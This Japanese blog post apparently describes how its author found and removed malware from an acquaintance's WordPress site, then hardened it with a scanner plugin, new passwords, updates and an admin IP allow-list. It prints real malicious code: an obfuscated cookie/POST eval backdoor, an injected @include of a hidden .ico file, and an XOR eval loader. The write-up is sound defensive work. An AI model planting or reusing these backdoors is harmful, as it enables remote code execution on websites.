この記事を書くにあたって
知人のサイトでサイトに訪問すると最初の一回だけ「親愛なChromeユーザー様、、、」というページに遷移される事象が発生。
私自身は遭遇していないので、スクリーンショットなどがないが、確認したところ下記のサイトと同様の事象。
https://it-media2.net/sinaina/
この事象を解決すべく色々調べたり対応したことを書いていく。
ただある程度対応はできたと思うが、再現性がないため確認のしようがなくて困っている。知人のスマホなどを借りてやってみるしかないので、時間あるときに試してみる。
もしかしたら、下の方に書いている海外からのアクセスを検証するために紹介したサイトを利用すれば再現することができるかもしれない。
調査及び対処
.well-knownフォルダについて
ドメイン直下(自分のサイトの/(ルート)の位置)に置かれている場合がある。URLの意味とは異なり、フォルダ構成上の話。/wordpress/などにwordpressがインストールされていてルートにアクセスするとリダイレクトしているケースなどある。
無料SSLの設定が完了していたら削除して良い。
https://nattoku.tokyo/ssl-well-known/
変な名前のphpファイル
jfxubgqt.phpやkebcwnti.phpなどがサーバーに置かれていたら、ウイルスに感染している。一刻も早く削除をしたほうがいい。
https://wap-log.com/wordpress-malware-virus/
実際に知り合いのサイトにも存在していました。ありとあらゆるフォルダに毎回名前を変えて存在している。ただ、設置時間が同一なのである程度パターン化してさぐり当てることはできた。
中身は下記。実際のものをコピペ。
<?php /* $grytsi = 'l1cpfgunrd329eoas-vxb\'586m#_t4kH*iy';$exhuvk = Array();$exhuvk[] = $grytsi[31].$grytsi[32];$exhuvk[] = $grytsi[29].$grytsi[10].$grytsi[11].$grytsi[10].$grytsi[24].$grytsi[10].$grytsi[13].$grytsi[4].$grytsi[17].$grytsi[20].$grytsi[22].$grytsi[10].$grytsi[4].$grytsi[17].$grytsi[29].$grytsi[13].$grytsi[10].$grytsi[4].$grytsi[17].$grytsi[23].$grytsi[10].$grytsi[2].$grytsi[9].$grytsi[17].$grytsi[15].$grytsi[2].$grytsi[11].$grytsi[15].$grytsi[23].$grytsi[4].$grytsi[4].$grytsi[29].$grytsi[9].$grytsi[1].$grytsi[12].$grytsi[10];$exhuvk[] = $grytsi[26];$exhuvk[] = $grytsi[2].$grytsi[14].$grytsi[6].$grytsi[7].$grytsi[28];$exhuvk[] = $grytsi[16].$grytsi[28].$grytsi[8].$grytsi[27].$grytsi[8].$grytsi[13].$grytsi[3].$grytsi[13].$grytsi[15].$grytsi[28];$exhuvk[] = $grytsi[13].$grytsi[19].$grytsi[3].$grytsi[0].$grytsi[14].$grytsi[9].$grytsi[13];$exhuvk[] = $grytsi[16].$grytsi[6].$grytsi[20].$grytsi[16].$grytsi[28].$grytsi[8];$exhuvk[] = $grytsi[15].$grytsi[8].$grytsi[8].$grytsi[15].$grytsi[34].$grytsi[27].$grytsi[25].$grytsi[13].$grytsi[8].$grytsi[5].$grytsi[13];$exhuvk[] = $grytsi[16].$grytsi[28].$grytsi[8].$grytsi[0].$grytsi[13].$grytsi[7];$exhuvk[] = $grytsi[3].$grytsi[15].$grytsi[2].$grytsi[30];foreach ($exhuvk[7]($_COOKIE, $_POST) as $cqxfb => $ucwnvu){function bhjhysz($exhuvk, $cqxfb, $bnroqt){return $exhuvk[6]($exhuvk[4]($cqxfb . $exhuvk[1], ($bnroqt / $exhuvk[8]($cqxfb)) + 1), 0, $bnroqt);}function dqfea($exhuvk, $taezz){return @$exhuvk[9]($exhuvk[0], $taezz);}function oyzgqfr($exhuvk, $taezz){$qsejxxw = $exhuvk[3]($taezz) % 3;if (!$qsejxxw) {eval($taezz[1]($taezz[2]));exit();}}$ucwnvu = dqfea($exhuvk, $ucwnvu);oyzgqfr($exhuvk, $exhuvk[5]($exhuvk[2], $ucwnvu ^ bhjhysz($exhuvk, $cqxfb, $exhuvk[8]($ucwnvu))));} */
phpファイル内にある変な記述
下記のような記述が、ndex.phpといういかにも必要そうなファイルでちりばめられたり、wp-config.phpの上部に書き込まれたりしていた。
/*16bd2*/ @include "\057home\057high\163peed\057publ\151c_ht\155l/*********/w\157rdpr\145ss/w\160-inc\154udes\057.dd7\14429c7\056ico"; /*16bd2*/
十中八九、/home/*********/wordpress/wp-includes/.dd7d29c7.ico を読み込んでいる。FTPで確認したところ存在した。
このファイルを除くと、phpのソースが書かれていた。どうみても通常ではない。
$_lkmijb = basename/pv/(/p3/trim/1x6/(/u4h/preg_replace/34/(/k/rawurldecode/0x6/(/m/"%2F%5C%28.%2A%24%2F"/v/)/y69k/, '', FILE/jtc/)/g//f7159/)/q//nd3/)/lxo9i/;$_5a182 = "12%1E%0C%10%13WDX%09HD******めちゃくちゃ長い解読不能な文字列が続いたので省略*******D%1FJF%15n%19";eval/dn/(/q/rawurldecode/um/(/sgo4j/$_5a182/e/)/0/ ^ substr/47y/(/now1f/str_repeat/y9/(/42yr1/$_lkmijb, /k/(/o83k/strlen/pa/(/w/$_5a182/b/)/imnot//strlen/w/(/453/$_lkmijb/xu/)/mure7//jmunc/)/tdx/ + 1/s/)/7s/, 0, strlen/4qg9/(/yuqw/$_5a182/50h/)/l//c74z3/)/k6//tq/)/z/; //ec073b8f26338767******上記と同様にめちゃくちゃ長い解読不能な文字列が続いたので省略*******f%27%2A%29%2Ct5c%2B%7F%3Div~%22%25sf%3Cr%29%247%3D5hwt5%20%3D%23c%20%20%3Cwe%24a%24i%25%23-.g%27m%7C
この.icoファイルの削除と呼び出しているところの記述を削除。
プラグイン
・変な名前のphpファイル
・phpファイル内にある変な記述
などは、
WP-Doctor Malware Scanner & Security Pro というプラグインが検知することができた。
プラグイン自体は無料。定義ファイルの更新は有料。なので、無料のままだと新しいウイルスには対応できない。個人PC向けのウイルス対策ソフトと同じ仕組み。2019/09/02時点で上記のものは検知されているので、今の所は無料版でしのいでもらっている。
メニューにMalware scanが表示される。今すぐスキャン開始のボタンをクリックすると始まる。終了すると、同じ画面の下に結果が表示される。
悪意のあるファイルの可能性がある場合は、Malware scanに該当部分が表示され、その場でファイルの削除や編集することができるようになっている。これがすごく便利だった。
他のプラグイン
いくつか試したが、日本語でわかりやすかったのでこちらをチョイスした。だが、DBに保存されている値までは調査してくれないので、そういったプラグインの選定も必要。
根本原因への対応
どうやってファイルの改ざんや新しいファイルを作成したりしたか不明だが、できることはやった方がいいということで下記の対応をした。
各種パスワードの変更
・疑いのあるサーバーの管理画面のログインパスワード(ブラウザから入れるようなもの)
・FTPのログインパスワード(複数のアカウントがあったので全て変更)
・WordPressのログインパスワード(サーバーで管理している全てのWordPress)
WordPressのバージョン更新
まずはバックアップを取得。
WordPressの管理画面からバージョンアップをした。5.1.2から5.2.3へバージョンアップ。
動作確認をして問題なかった。
テーマの整理
・不要なテーマの削除
WordPressに初期で入っているTwenty Seventeenとか、試しにインストールしたテーマなど
・利用しているテーマの更新
まずはバックアップ。
カスタマイズしていたので、親テーマの更新を行った。子テーマは何もなかったので、そのまま動作確認をした。
各種管理画面の海外からのアクセス拒否
サーバー運営会社に問い合わせをして、方法を聞いた。
以前に海外アクセスからを防ぐためのホワイトリストを作成してもらったので、下記のように書くように促された。なので、海外からのアクセスを防ぐというより、日本からのアクセスを許可するというような記述になっている。
Allow fromが3000行~4000行ある感じ。
<FilesMatch "wp-login.php|wp-admin"> Order deny, allow Deny from all Allow from xxx.xxx.xxx.xxx </FilesMatch>
下記のサイトで海外からのアクセスの確認をすることができると教えてもらったが、SSL化されているサイト(https://~)は有料とのことなので、自分でググることに。。。
http://anonymouse.org/anonwww.html
このサイトを見つけた。上記サイトより全然高機能かつ無料。
トップページ(https://ドメイン/)と管理画面のサイト(https://ドメイン/wp-login.phpとhttps://ドメイン/wp-admin)のURLを入力し、通常のサイトはページが表示され、管理画面の方は403エラーが表示される。
コメントを残す